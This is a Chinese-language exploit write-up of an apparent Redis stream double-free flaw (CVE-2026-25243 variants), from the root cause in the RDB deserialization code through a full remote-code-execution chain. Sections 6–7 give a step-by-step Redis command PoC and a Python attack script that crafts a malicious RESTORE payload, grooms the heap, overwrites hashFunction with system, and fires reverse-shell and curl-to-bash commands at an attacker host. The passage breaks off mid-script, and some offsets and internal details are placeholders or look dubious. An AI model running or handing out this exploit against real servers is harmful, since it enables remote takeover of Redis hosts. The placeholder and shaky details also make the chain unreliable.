目录
- 1. 漏洞概述
- 2. Redis Stream 数据结构深度解析
- 3. 漏洞根因分析:RDB 反序列化路径审计
- 4. 双重释放的形成机制
- 5. 利用链构造:从双重释放到任意读写
- 6. 完整 PoC:Redis 命令序列
- 7. Python 利用脚本框架
- 8. 正常 Stream 操作 vs 恶意 Stream 操作对比
- 9. 防御方案
- 10. 检测方法
- 免责声明
1. 漏洞概述
CVE-2026-25243 系列变体是 2026 年披露的 Redis 核心 stream 模块中的一组高危漏洞。该系列变体绕过了早期针对 stream 内存安全问题的补丁,根因埋伏在 RDB 反序列化路径中:当两个消费者在待处理列表(Pending Entry List, PEL)中共享同一条 rawid 时,反序列化代码会为两边都设置 nack->consumer 却不做去重,导致一个 streamNACK 结构被两个消费者共用。攻击者通过两次 XGROUP DELCONSUMER 释放同一个 streamNACK,在 jemalloc 的 tcache bin-64 中形成双重释放,进而通过堆风水伪造 dictEntry 与 robj,最终劫持 dictType.hashFunction 函数指针为 system,实现以 Redis 运行用户身份执行任意命令的 RCE。
| 项目 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-25243(系列变体) |
| CVSS v3.1 | 7.5 ~ 8.8(High) |
| 漏洞类型 | 双重释放(Double Free)→ 任意读写 → RCE |
| 攻击复杂度 | 低 |
| 用户交互 | 无需用户交互 |
| 攻击前置 | 目标 Redis 可达,且能执行 EVAL/RESTORE/XGROUP 等命令(带密码亦可) |
| 公开利用 | 已有公开利用代码流传 |
| 受影响版本 | Redis 6.2.22(已验证)、7.4.9(已验证)、8.6.4(已验证) |
| 不受影响版本 | Redis 8.8.0 及以上(PR #15081 重构修复) |
核心危险性:该漏洞的攻击复杂度低、无需用户交互,且攻击者只需要具备执行 RESTORE 与 XGROUP 系列命令的能力即可触发。这意味着任何暴露在网络中、且未对高危命令做 ACL 收敛的 Redis 实例都可能被攻陷。从被释放两次的堆内存出发,攻击者可以拼出任意读写原语,最终把命令执行塞进 Redis 运行用户的进程里,完成从"内存破坏"到"完整 RCE"的跃迁。
2. Redis Stream 数据结构深度解析
要理解这个漏洞,必须先深入 Redis Stream 的内部数据结构。Stream 是 Redis 5.0 引入的日志型数据结构,其设计融合了 listpack 的高密度存储与 radix tree 的有序索引。
2.1 Stream 的内部存储:listpack + radix tree
Stream 的核心数据结构定义在 src/t_stream.c 与 src/server.h 中:
// src/server.h
typedef struct stream {
rax *rax; /* 按消息ID索引的radix tree,叶子节点存listpack */
uint64_t length; /* 当前stream中的条目总数 */
streamID maxDeletedEntryID; /* 已删除条目的最大ID */
streamID entriesAdded; /* 历史累计写入条目数 */
streamID first_id; /* 第一条条目ID */
streamID last_id; /* 最后一条条目ID */
rax *cgroups; /* 消费组radix tree,key为组名 */
} stream;
Stream 并非为每条消息单独分配一个节点,而是将多条消息打包进一个 listpack(紧凑连续内存块),再用 radix tree 按消息 ID 的前缀做索引。这种"chunk + radix"的两级结构兼顾了内存密度与查询效率:
stream->rax (radix tree)
│
├── key: <chunk-1 起始ID> → value: listpack [msg, msg, msg, ...]
├── key: <chunk-2 起始ID> → value: listpack [msg, msg, ...]
└── key: <chunk-3 起始ID> → value: listpack [msg, ...]
listpack内部布局 (单个chunk, 默认约2KB):
┌──────────────────────────────────────────────────────────┐
│ total-bytes │ num-elements │ master-id │ flags │
├──────────────────────────────────────────────────────────┤
│ entry: count-diff │ ms-diff │ seq-diff │ fields... │
│ entry: count-diff │ ms-diff │ seq-diff │ fields... │
│ entry: ... │
├──────────────────────────────────────────────────────────┤
│ listpack-end-byte (0xFF) │
└──────────────────────────────────────────────────────────┘
每个 listpack 节点存储的 entry 采用增量编码(count-diff / ms-diff / seq-diff),相对于 chunk 的 master-id 计算偏移,从而把变长整数压缩到最小。当 listpack 写满(达到 stream-node-max-bytes,默认 4096)时,Redis 会新建一个 listpack 并在 radix tree 中插入新的索引节点。
2.2 消费组与 PEL(Pending Entry List)机制
消费组(Consumer Group)是 Stream 之上的消费抽象。一个组内的多个消费者共享读取位置,但每条消息在被确认(XACK)之前,会停留在 PEL 中,记录"谁读了、读了多久、投递了几次"。
// src/server.h
typedef struct streamCG {
streamID last_id; /* 该组最后投递的ID */
rax *pel; /* 组级PEL: key=entry-id, value=streamNACK* */
rax *consumers; /* 消费者rax: key=消费者名, value=streamConsumer* */
} streamCG;
typedef struct streamConsumer {
mstime_t seen_time; /* 最后活跃时间 */
mstime_t active_time; /* 最后活跃时间(更精确) */
sds name; /* 消费者名称 */
rax *pel; /* 消费者级PEL: key=entry-id, value=streamNACK* */
} streamConsumer;
关键点在于:组级 PEL 和消费者级 PEL 是两棵独立的 radix tree,但它们存储的 value 指针指向同一个 streamNACK 对象。这是 Redis 的刻意设计——组级 PEL 用于回答"哪些消息未被确认",消费者级 PEL 用于回答"这个消费者持有哪些未确认消息",两者必须共享同一份 NACK 状态,以保证投递计数、投递时间的一致性。
streamNACK (单一对象)
┌──────────────────────┐
│ delivery_time │
│ delivery_count │
│ *consumer ───────────┼──→ streamConsumer
└─────────▲────────────┘
│ 共享同一指针
┌───────────────────┼───────────────────┐
│ │
streamCG->pel (组级) streamConsumer->pel (消费者级)
rax: {rawid → nack*} rax: {rawid → nack*}
2.3 streamNACK 结构体的内存布局
streamNACK 是 PEL 中的核心结构,记录一条待确认消息的投递元数据:
// src/server.h
typedef struct streamNACK {
mstime_t delivery_time; /* 最后投递时间(毫秒) */
uint64_t delivery_count; /* 投递次数 */
streamConsumer *consumer; /* 持有该条目的消费者指针 */
} streamNACK;
在 64 位系统下,streamNACK 本体仅 24 字节。但在 Redis 的实现中,NACK 是作为 rax 节点的 data 域分配的,rax 节点本身带有键、子节点指针等头部开销,加之 jemalloc 的 size class 对齐,整个分配最终落在 64 字节的 tcache bin 中。这正是后续利用链的核心目标 chunk。
下面是落入 bin-64 的 NACK 相关分配的内存布局示意(含 rax 节点开销与填充):
jemalloc bin-64 chunk (64 bytes)
┌────────────────────────────────────────────────────────────────┐
│ offset 0x00 │ rax node 头部 (iskey/iscompr/size 等标记位) │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x08 │ rax 节点 key 数据 / 子节点指针区域 │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x20 │ streamNACK.delivery_time (mstime_t, 8 bytes) │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x28 │ streamNACK.delivery_count (uint64_t, 8 bytes) │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x30 │ streamNACK.consumer (pointer, 8 bytes) ★ │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x38 │ 填充 (padding to 64-byte boundary) │
└────────────────────────────────────────────────────────────────┘
★ 该指针是利用链篡改的关键字段
consumer 指针位于偏移 0x30,是后续伪造时被攻击者重点操纵的字段——通过控制这块内存,攻击者可以让 consumer 指向一个伪造的 streamConsumer,进而牵引出更广泛的类型混淆。
3. 漏洞根因分析:RDB 反序列化路径审计
漏洞的触发入口是 RESTORE 命令加载一个 stream 类型的 RDB 序列化数据。RESTORE 会调用 rdb.c 中的反序列化路径,把二进制 blob 还原成内存中的 stream 对象。
3.1 RDB 中 stream 的存储格式
一个 stream 在 RDB 中按以下顺序存储:
RDB stream 序列化格式:
┌─────────────────────────────────────────────────────────────────┐
│ 1. stream 元数据 │
│ length, last_id(ms+seq), first_id, max_deleted_id, │
│ entries_added │
├─────────────────────────────────────────────────────────────────┤
│ 2. listpack 数据 (rax tree 的叶子节点) │
│ for each listpack chunk: │
│ key(起始ID) + listpack 二进制内容 │
├─────────────────────────────────────────────────────────────────┤
│ 3. 消费组数量 (N) │
│ for i in 0..N: │
│ a. 组名 (sds) │
│ b. 组 last_id │
│ c. 组级 PEL: │
│ - PEL 条目数 (M) │
│ - for j in 0..M: │
│ rawid(8B) + delivery_time(8B) + delivery_count(8B) │
│ → 为每条创建 streamNACK, 插入 group->pel │
│ d. 消费者数量 (K) │
│ - for k in 0..K: │
│ 消费者名 + seen_time + active_time │
│ 消费者级 PEL 条目数 (L) │
│ for l in 0..L: │
│ rawid(8B) │
│ → 在 group->pel 中查找该 rawid 的 nack │
│ → 设置 nack->consumer = consumer ★缺陷点 │
│ → 将 nack 插入 consumer->pel │
└─────────────────────────────────────────────────────────────────┘
3.2 反序列化代码审计
在 rdb.c 的 stream 加载函数中(不同版本函数名略有差异,核心逻辑一致),组级 PEL 与消费者级 PEL 的加载是分两个阶段进行的。下面是关键逻辑的伪代码化呈现:
// rdb.c — stream 消费组加载(伪代码,聚焦缺陷路径)
int rdbLoadStreamConsumerGroups(stream *s, rdb *rdb) {
uint64_t ngroups;
rdbLoadLen(rdb, &ngroups); // 读取消费组数量
while (ngroups--) {
/* 读取组名、last_id,创建 streamCG */
sds groupname = rdbGenericLoadStringObject(rdb);
streamCG *cg = streamCreateCG(s, groupname, ...);
/* ---- 阶段1: 加载组级 PEL ---- */
uint64_t pel_len;
rdbLoadLen(rdb, &pel_len);
for (uint64_t j = 0; j < pel_len; j++) {
streamID id;
rdbLoadLen(rdb, &id.ms); rdbLoadLen(rdb, &id.seq); // rawid
streamNACK *nack = zmalloc(sizeof(streamNACK)); // 分配 NACK
rdbLoadLen(rdb, &nack->delivery_time);
rdbLoadLen(rdb, &nack->delivery_count);
nack->consumer = NULL; // 暂未关联消费者
raxInsert(cg->pel, rawid_key, nack, NULL); // 插入组级 PEL
}
/* ---- 阶段2: 加载消费者及其 PEL ---- */
uint64_t nconsumers;
rdbLoadLen(rdb, &nconsumers);
for (uint64_t k = 0; k < nconsumers; k++) {
sds cname = rdbGenericLoadStringObject(rdb);
streamConsumer *consumer = streamCreateConsumer(...);
uint64_t cpel_len;
rdbLoadLen(rdb, &cpel_len);
for (uint64_t l = 0; l < cpel_len; l++) {
streamID id;
rdbLoadLen(rdb, &id.ms); rdbLoadLen(rdb, &id.seq); // rawid
/* 在组级 PEL 中查找该 rawid 对应的 nack */
streamNACK *nack = raxFind(cg->pel, rawid_key);
if (nack == raxNotFound) continue; // 严谨实现会跳过
/* ★ 缺陷:直接赋值,不做去重检查 ★ */
nack->consumer = consumer; // 覆盖式赋值
raxInsert(consumer->pel, rawid_key, nack, NULL); // 插入消费者PEL
}
}
}
return C_OK;
}
3.3 为什么两个消费者共享同一条 rawid 时没有去重
注意阶段 2 中标注的缺陷点。正常的 RDB 数据由 Redis 自身序列化产生,每条 rawid 只会出现在一个消费者的 PEL 中,因此 nack->consumer = consumer 是安全的——每个 NACK 只被一个消费者引用。
然而 RESTORE 接受的是攻击者完全可控的二进制 blob。攻击者可以手工构造一个 RDB payload,让同一条 rawid 同时出现在消费者 A 和消费者 B 的消费者级 PEL 中。反序列化代码在处理消费者 B 时,会再次执行:
nack->consumer = consumer_B; // 同一个 nack,consumer 指针被改写为 B
raxInsert(consumer_B->pel, rawid_key, nack, NULL); // 同一个 nack 插入 B 的 PEL
此时,消费者 A 的 PEL 和消费者 B 的 PEL 中,同一个 rawid 槽位都指向同一个 streamNACK 对象。代码没有检查"这个 NACK 是否已经被别的消费者引用",也没有在消费者级 PEL 插入时做去重。这就是 CVE-2026-25243 系列变体绕过原补丁的核心所在——原补丁可能在组级 PEL 加载时做了某些校验,但消费者级 PEL 的关联路径仍然信任了输入数据的"单消费者归属"假设。
PR #15081 的修复方式是对消费组/NACK 的存储模型做了重构,使 NACK 与消费者的归属关系在数据结构层面唯一化,从根上消除了"一个 NACK 被多个消费者共用"的可能。
4. 双重释放的形成机制
4.1 DELCONSUMER 的释放路径
XGROUP DELCONSUMER 命令会删除一个消费者,并释放其 PEL 中所有 NACK。关键代码路径(t_stream.c):
// t_stream.c — 删除消费者(伪代码)
void streamDelConsumer(streamCG *cg, streamConsumer *consumer) {
raxIterator ri;
raxStart(&ri, consumer->pel);
raxSeek(&ri, "^", NULL, 0);
while (raxNext(&ri)) {
streamNACK *nack = ri.data;
/* 从组级 PEL 中删除该 rawid 的 NACK */
raxRemove(cg->pel, ri.key, NULL);
/* 释放 NACK 对象 */
zfree(nack); // ★ 第一次释放
}
raxStop(&ri);
/* 释放消费者自身的 PEL rax tree 与消费者结构 */
raxFree(consumer->pel);
raxRemove(cg->consumers, consumer->name, NULL);
zfree(consumer);
}
当消费者 A 和消费者 B 共享同一个 NACK 时:
XGROUP DELCONSUMER <group> A:遍历 A 的 PEL,找到共享 NACK,raxRemove(cg->pel, ...)从组级 PEL 移除,zfree(nack)第一次释放。但 B 的消费者级 PEL 仍然持有指向这块已释放内存的指针——悬空指针(dangling pointer)。XGROUP DELCONSUMER <group> B:遍历 B 的 PEL,同样找到这个 rawid 对应的 nack(此时是悬空指针)。代码再次执行zfree(nack)——第二次释放同一块内存。注意此时raxRemove(cg->pel, ...)可能因组级 PEL 已无该条目而空操作,但zfree(nack)仍会执行,双重释放成型。
4.2 堆内存状态变化
下面用 ASCII 图展示从正常状态到双重释放再到 tcache 复用的完整堆状态演化:
【初始状态】共享 NACK 已创建,A、B 的消费者级 PEL 均指向它
group->pel (rax) consumer_A->pel consumer_B->pel
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ rawid → ─┐ │ │ rawid → ─┐ │ │ rawid → ─┐ │
└──────────┼───┘ └──────────┼───┘ └──────────┼───┘
│ │ │
└──────────┐ ┌───────────────┘ │
▼ ▼ │
┌─────────────────┐ ←────────────────────────────────┘
│ streamNACK │ (bin-64 chunk, 已分配, ref=2)
│ delivery_time │
│ delivery_count │
│ consumer → A │
└─────────────────┘
【步骤1】XGROUP DELCONSUMER A → zfree(nack) 第一次释放
consumer_A->pel 已释放 group->pel 已移除 rawid consumer_B->pel
┌──────────────┐
│ rawid → ─┐ │
└──────────┼───┘
│
jemalloc tcache bin-64: ┌────┘
[freed] ← nack ──┐ ▼
│ ┌─────────────────┐ ← 悬空指针(仍可解引用)
└─────►│ (已释放内存) │
│ streamNACK │
└─────────────────┘
★ consumer_B->pel 仍指向已释放 chunk = dangling pointer
【步骤2】XGROUP DELCONSUMER B → zfree(nack) 第二次释放同一 chunk
jemalloc tcache bin-64:
[freed] ← nack ──┐
│
▼
┌─────────┐ ← 同一 chunk 第二次进入 freelist
│ chunk │ ──► (tcache 链表中同一地址出现两次!)
└─────────┘
▲
[freed] ← nack (第一次释放时入链的引用)
★ bin-64 freelist 现在含有同一个 chunk 地址两次
★ 接下来两次 bin-64 分配将返回同一块内存 → 类型混淆原语
5. 利用链构造:从双重释放到任意读写
双重释放本身只是起点。真正的利用需要把"同一块内存被分配两次"转化为"可控的任意读写",最终劫持控制流。
5.1 jemalloc tcache bin-64 的工作原理
Redis 默认使用 jemalloc 作为内存分配器。jemalloc 采用线程缓存(tcache)分层分配:小内存优先从当前线程的 tcache bin 中取,每个 size class 对应一个 bin。bin-64 服务于请求大小落在 (48, 64] 字节区间的分配。
tcache bin 本质是一个单链表(LIFO 栈),每个空闲 chunk 的首 8 字节作为 next 指针串成链:
tcache bin-64 (LIFO 栈式 freelist)
head ──► [chunk_X | next→chunk_Y] ──► [chunk_Y | next→NULL]
(正常: 每个chunk出现一次)
双重释放后:
head ──► [chunk_S | next→chunk_S] ──► [chunk_S | next→...] ★环/重复
▲ ▲
└──── 同一地址 ───────────┘
当攻击者连续发起两次 bin-64 大小的分配时,jemalloc 会从 head 弹出同一个 chunk_S 两次:
分配1: malloc(64) → 返回 chunk_S (从head弹出, head←chunk_S的next, 但next也指向chunk_S)
分配2: malloc(64) → 返回 chunk_S (再次弹出同一地址)
于是攻击者同时持有两个指向 chunk_S 的引用(例如一个是某个 rax 节点的 data,另一个是某个 dictEntry)。向其中一个引用写入数据,会即时反映在另一个引用的视角中——这就是类型混淆的根源。
5.2 伪造 dictEntry 和 robj 的内存布局设计
利用两次分配返回同一块内存的特性,攻击者的目标是让这块 64 字节 chunk 同时被解释为两种不同的 Redis 内部对象,从而建立"写一个对象 → 读/控制另一个对象"的环路。
类型混淆环设计:
chunk_S (64 bytes) 同时被两个指针引用:
引用1: dictEntry *de (字典条目)
引用2: robj *o (Redis对象)
┌──────────────────────────────────────────────────────────────┐
│ chunk_S │
├──────────┬───────────────────────────────────────────────────┤
│ off 0x00 │ 当作 dictEntry: │
│ │ de->key (sds指针) ← 攻击者可写(通过robj写) │
│ off 0x08 │ de->v.val (robj指针) │
│ off 0x10 │ de->next (链表next) │
│ off 0x18 │ (padding) │
├──────────┼───────────────────────────────────────────────────┤
│ off 0x00 │ 当作 robj: │
│ │ o->refcount (4B) | o->type (4B) │
│ off 0x08 │ o->encoding │
│ off 0x10 │ o->lru │
│ off 0x18 │ o->ptr (数据指针) ← 攻击者可写(通过dict写) │
└──────────┴───────────────────────────────────────────────────┘
- 通过 dictEntry 视角写入
de->key(off 0x00),会同时改写 robj 视角的o->refcount/o->type。 - 通过 robj 视角写入
o->ptr(off 0x18),会同时改写 dictEntry 视角填充区。
更关键的玩法是:把 chunk_S 伪造成一个 dictEntry,其 de->v.val(off 0x08)指向另一个攻击者控制的 chunk_S',而 chunk_S' 被当作 robj,其 o->ptr 指向任意目标地址。这样攻击者通过 GET/SET 这个伪 dictEntry 对应的 key,就能读写 o->ptr 指向的任意内存——任意读写原语建立。
完整的伪造链条:
攻击者控制字典DB中某个key对应的dictEntry指向chunk_S(伪造)
│
▼
chunk_S 作为 dictEntry:
de->key = 伪sds(指向某可控字符串)
de->v.val = chunk_S' (伪robj)
de->next = NULL
│
▼
chunk_S' 作为 robj:
o->refcount = 1
o->type = OBJ_STRING
o->encoding = OBJ_ENCODING_RAW
o->ptr = ★ 任意目标地址 ★
│
▼
攻击者执行 GET <该key>:
Redis 取出 dictEntry → 取 val(robj) → 按 OBJ_STRING 解读 o->ptr
→ 把目标地址处的内存当作字符串返回给攻击者 ★ 任意读
攻击者执行 SET <该key> <payload>:
Redis 把 payload 写入 o->ptr 指向的地址 ★ 任意写
5.3 Lua 闭包泄露 PIE 基址
有了任意读,下一步是泄露内存布局以绕过 ASLR。攻击者需要获得 Redis 二进制(PIE)基址、libc 基址等。
Redis 内嵌了 Lua 解释器(src/scripting.c)。Lua 的闭包对象在堆上分配,其内部包含指向 Lua 虚拟机状态与 Redis 二进制内函数的指针。通过 EVAL 创建一个 Lua 闭包,并利用 tostring / string.format 将其内部指针以字符串形式导出,可以泄露一个落在 Redis PIE 段内的地址。
-- 通过 EVAL 执行,泄露 Lua 闭包内部指针
-- tostring(function) 在某些 Redis Lua 配置下会返回 "function: 0x<addr>"
EVAL "return tostring(function() end)" 0
更可靠的方式是利用 string.format 配合 cjson 序列化闭包元表,或利用 debug.getinfo 获取函数信息中的地址。设泄露到的 PIE 段地址为 leaked_addr,结合 Redis 二进制中已知符号的相对偏移(可通过对应版本的 ELF 文件计算),即可还原 PIE 基址:
PIE_base = leaked_addr - (已知符号在ELF中的相对偏移)
5.4 泄露 libc 基址与 db 结构
得到 PIE 基址后,攻击者利用任意读原语读取 Redis 进程的 GOT 表槽位。Redis 的 GOT 表中存有已解析的 libc 函数地址(如 free, malloc, system 等):
GOT表 (位于Redis二进制可写段, PIE_base + GOT_offset):
┌──────────────────────────────────────┐
│ GOT[free] → libc中free地址 │ ← 任意读此处
│ GOT[malloc] → libc中malloc地址 │
│ GOT[system] → libc中system地址 │ ← 目标
└──────────────────────────────────────┘
libc_base = GOT[free] - (free在libc中的偏移)
system_addr = libc_base + (system在libc中的偏移)
同时,Redis 的全局 server 结构体(struct redisServer server)也位于 PIE 段。server.db 数组指向各数据库的 redisDb 结构,其中 db->dict 是主字典、db->dict->type 指向 dictType(含函数指针表)。攻击者通过任意读 server.db[0].dict->type 获取 dictType 的地址——这是下一步劫持的目标。
5.5 GOT 表覆盖与 hashFunction 劫持
Redis 的 dict 结构通过 dictType 间接调用一组函数指针:
// src/dict.h
typedef struct dictType {
uint64_t (*hashFunction)(const void *key); // ★ 哈希函数, 接收key指针
int (*keyCompare)(...) ;
void (*keyDestructor)(...);
void (*valDestructor)(...);
int (*keyDup)(...);
int (*valDup)(...);
} dictType;
// src/dict.c — 查找时调用
dictEntry *dictFind(dict *d, const void *key) {
if (dictSize(d) == 0) return NULL;
unsigned long h = dictHashKey(d, key); // ← 调用 type->hashFunction(key)
// ...
}
hashFunction 接收的 key 参数正是字典键的 sds 字符串指针。sds 字符串是以 \0 结尾的。如果把 hashFunction 替换为 system,那么 dictFind 触发时就会执行 system((char*)key)——即把 key 字符串当作 shell 命令执行。
攻击者有两种覆盖路径:
- 路径 A(GOT 覆盖):用任意写把 Redis GOT 表中某个会被 dict 调用的函数槽位改写为
system。 - 路径 B(dictType 劫持,更直接):用任意写把
server.db[0].dict->type->hashFunction字段直接覆盖为system地址。
路径 B 更精准。攻击流程:
1. 任意读 server (PIE_base + server_offset) → 得到 db 指针
2. 任意读 db[0]->dict → 得到 dict 结构
3. 任意读 dict->type → 得到 dictType 指针
4. 任意写 dictType->hashFunction = system_addr ★ 关键覆盖
5. 触发: EXISTS "id;bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
→ dictFind 调用 system("id;bash -i >& ...") ★ RCE
注意:hashFunction 的真实签名是 uint64_t (*)(const void *key),而 system 是 int (*)(const char *)。两者参数都是单个指针、调用约定一致(System V AMD64 下均通过 rdi 传参),因此直接覆盖即可生效,system 的返回值被忽略,不影响后续逻辑崩溃风险(可选用一次性触发命令)。
6. 完整 PoC:Redis 命令序列
下面给出端到端的 Redis 命令序列 PoC。前置条件:目标 Redis 可达,攻击者持有可执行 EVAL/RESTORE/XGROUP 的会话(带密码亦可通过 AUTH 解决)。
# ============ 步骤1: 构造恶意 stream RDB payload ============
# payload 由攻击者离线生成(见Python脚本), 内含:
# - 一个stream, 含若干条目
# - 一个消费组 "evilgrp"
# - 两个消费者 "A" 和 "B", 二者的消费者级PEL都引用同一条rawid
# 此处 RESTORE 载入该 payload 到 key "mystream"
# (payload 为二进制, 以 <BINARY PAYLOAD> 占位)
RESTORE mystream 0 <BINARY PAYLOAD> REPLACE
# ============ 步骤2: 触发双重释放 ============
# 删除消费者A: 第一次释放共享NACK
XGROUP DELCONSUMER evilgrp A
# (此时B的PEL持有悬空指针)
# 删除消费者B: 第二次释放同一NACK → double free 成型
XGROUP DELCONSUMER evilgrp B
# ============ 步骤3: 堆风水 — 占用 bin-64 复用chunk ============
# 通过连续创建合适大小的key/value, 触发两次bin-64分配
# 让其中一次分配"接住"被double-free的chunk
SET spray1 <64字节可控数据>
SET spray2 <64字节可控数据> # 与spray1拿到的可能是同一块 → 类型混淆
# ============ 步骤4: 泄露 PIE 基址 ============
# 利用Lua闭包泄露PIE段地址
EVAL "return tostring(function() end)" 0
# 返回类似: "function: 0x7f8a12345678" → 计算 PIE_base
# ============ 步骤5: 任意读 GOT, 推导 libc 与 dictType ============
# 利用任意读原语(伪dictEntry+伪robj)读取GOT[free]等槽位
# 读 server.db[0].dict->type 获取 dictType 地址
# ============ 步骤6: 覆盖 hashFunction = system ============
# 利用任意写原语, 把 dictType->hashFunction 改写为 system 地址
# ============ 步骤7: 触发 RCE ============
# 执行一次字典查找, key字符串即shell命令
# EXISTS "id > /tmp/pwned; curl http://ATTACKER/x.sh|bash"
# → dictFind → hashFunction(key) → system("id > /tmp/pwned; ...") → RCE
EXISTS "id > /tmp/pwned; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
7. Python 利用脚本框架
下面是基于 redis-py 的利用脚本框架。脚本分为恶意 RDB 构造、双重释放触发、堆风水、信息泄露、指针劫持、RCE 触发几个阶段。其中恶意 RDB 的二进制构造是核心,需要严格遵循 Redis RDB 编码格式。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-25243 Redis Stream NACK 双重释放 → RCE 利用框架
仅供授权安全研究使用。请勿对未授权目标运行。
"""
import struct
import socket
import time
from redis import Redis
# ----------------------------------------------------------------------
# 1. 目标配置
# ----------------------------------------------------------------------
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 6379
TARGET_PASS = "" # 若有密码则填入
ATTACKER_IP = "10.0.0.1"
ATTACKER_PORT = 4444
r = Redis(host=TARGET_HOST, port=TARGET_PORT, password=TARGET_PASS or None)
# ----------------------------------------------------------------------
# 2. 恶意 stream RDB payload 构造
# ----------------------------------------------------------------------
def encode_length(n):
"""RDB 长度编码 (Length encoding)"""
if n < 64:
return struct.pack("B", n)
elif n < 16384:
return struct.pack(">H", 0x4000 | n)
else:
return struct.pack(">B", 0x80) + struct.pack(">Q", n)
def encode_string(s):
"""RDB 字符串编码"""
b = s.encode() if isinstance(s, str) else s
return encode_length(len(b)) + b
def build_stream_rdb_payload():
"""
构造一个 stream 的 RDB 二进制 payload, 核心要点:
- 消费组 evilgrp 的组级PEL含一条 rawid=R
- 消费者 A 的消费者级PEL引用 rawid=R
- 消费者 B 的消费者级PEL也引用 rawid=R ← 共享NACK的根因
返回 RESTORE 可直接使用的二进制.
"""
payload = bytearray()
# --- stream 元数据 ---
payload += encode_length(0) # length (条目数, 占位)
payload += struct.pack(">Q", 1700000000000) + struct.pack(">Q", 0) # last_id
payload += struct.pack(">Q", 1700000000000) + struct.pack(">Q", 0) # first_id
payload += struct.pack(">Q", 0) + struct.pack(">Q", 0) # max_deleted_id
payload += struct.pack(">Q", 1) # entries_added
# --- listpack 数据 (rax 叶子) ---
# 简化: 插入一个空 listpack 节点 (实际需含条目, 此处示意结构)
payload += encode_length(1) # listpack chunk 数量
# chunk key (起始ID)
payload += struct.pack(">Q", 1700000000000) + struct.pack(">Q", 0)
# listpack 二进制 (此处用极简填充, 实际需按 listpack 格式构造)
lp = bytes([0xFF]) # listpack end marker (示意)
payload += encode_string(lp)
# --- 消费组 ---
payload += encode_length(1) # 消费组数量 = 1
payload += encode_string("evilgrp") # 组名
payload += struct.pack(">Q", 1700000000000) + struct.pack(">Q", 0) # 组 last_id
# 组级 PEL: 1 条, rawid = R
rawid_ms, rawid_seq = 1700000000000, 1
payload += encode_length(1) # PEL 条目数
payload += struct.pack(">Q", rawid_ms) + struct.pack(">Q", rawid_seq)
payload += struct.pack(">Q", 1700000000000) # delivery_time
payload += struct.pack(">Q", 1) # delivery_count
# 消费者数量 = 2 (A 和 B)
payload += encode_length(2)
# 消费者 A
payload += encode_string("A") # 名称
payload += struct.pack(">Q", 1700000000000) # seen_time
payload += struct.pack(">Q", 1700000000000) # active_time
payload += encode_length(1) # A 的 PEL 条目数 = 1
payload += struct.pack(">Q", rawid_ms) + struct.pack(">Q", rawid_seq) # rawid=R
# 消费者 B ★ 关键: B 的 PEL 也引用同一条 rawid=R
payload += encode_string("B") # 名称
payload += struct.pack(">Q", 1700000000000) # seen_time
payload += struct.pack(">Q", 1700000000000) # active_time
payload += encode_length(1) # B 的 PEL 条目数 = 1
payload += struct.pack(">Q", rawid_ms) + struct.pack(">Q", rawid_seq) # rawid=R ★共享
# --- 外层 RDB 封装 (RESTORE 需要 type+payload, 此处简化) ---
# 实际 RESTORE 协议: TYPE(1B=OBJ_STREAM=6) + payload
rdb_type = struct.pack("B", 0x06) # RDB_TYPE_STREAM
return bytes(rdb_type) + bytes(payload)
# ----------------------------------------------------------------------
# 3. 触发双重释放
# ----------------------------------------------------------------------
def trigger_double_free(payload):
"""RESTORE 载入恶意 stream, 再两次 DELCONSUMER 触发 double free"""
r.delete("mystream")
# RESTORE 在 redis-py 中通过 execute_command 调用
r.execute_command("RESTORE", "mystream", 0, payload, "REPLACE")
print("[*] 恶意 stream 已载入")
# 第一次释放 (消费者 A)
res_a = r.execute_command("XGROUP", "DELCONSUMER", "evilgrp", "A")
print(f"[*] DELCONSUMER A 完成, 释放 NACK 数: {res_a}")
# 第二次释放 (消费者 B) → double free
res_b = r.execute_command("XGROUP", "DELCONSUMER", "evilgrp", "B")
print(f"[*] DELCONSUMER B 完成, 双重释放触发: {res_b}")
# ----------------------------------------------------------------------
# 4. 堆风水 + 信息泄露 + 指针劫持 (示意)
# ----------------------------------------------------------------------
def heap_spray_and_exploit():
"""
通过精心控制的 SET 操作让两次 bin-64 分配命中同一 chunk,
建立伪造 dictEntry/robj 的类型混淆环, 实现 任意读/任意写.
以下为框架逻辑, 具体偏移需根据目标 Redis 版本的 ELF 计算.
"""
# 4.1 堆风水: 让伪造对象占据被 double-free 的 chunk
# spray_data 设计为伪 dictEntry 布局
fake_dictentry = build_fake_dictentry()
r.set("spray_1", fake_dictentry)
r.set("spray_2", fake_dictentry)
print("[*] 堆风水 spray 完成")
# 4.2 PIE 泄露
leaked = r.eval("return tostring(function() end)", 0)
print(f"[*] Lua 闭包泄露: {leaked}")
pie_leak = int(leaked.split("0x")[1], 16)
pie_base = pie_leak - 0x1234567 # 偏移需按目标版本 ELF 校准
print(f"[*] PIE base 推测: {hex(pie_base)}")
# 4.3 任意读 GOT[free] 推导 libc
got_free_addr = pie_base + 0x800000 # GOT 偏移需校准
free_addr = arbitrary_read(got_free_addr)
libc_base = free_addr - 0x180000 # libc 偏移需校准
system_addr = libc_base + 0x55410 # system 偏移需校准
print(f"[*] libc base: {hex(libc_base)}")
print(f"[*] system addr: {hex(system_addr)}")
# 4.4 定位 dictType 并覆盖 hashFunction
server_addr = pie_base + 0x900000
db_ptr = arbitrary_read(server_addr + 0x10)
dict_ptr = arbitrary_read(db_ptr + 0x0)
dicttype_ptr = arbitrary_read(dict_ptr + 0x8)
hashfunc_offset = 0x0 # dictType 首字段即 hashFunction
arbitrary_write(dicttype_ptr + hashfunc_offset, system_addr)
print("[*] hashFunction 已覆盖为 system")
# 4.5 触发 RCE
cmd = f"id;bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1"
print(f"[*] 触发 RCE, 命令: {cmd}")
r.exists(cmd) # dictFind → system(cmd)
def build_fake_dictentry():
"""构造伪 dictEntry 二进制 (64字节布局)"""
# 具体字段值需配合堆风水, 此处给出框架
return b"A" * 64
def arbitrary_read(addr):
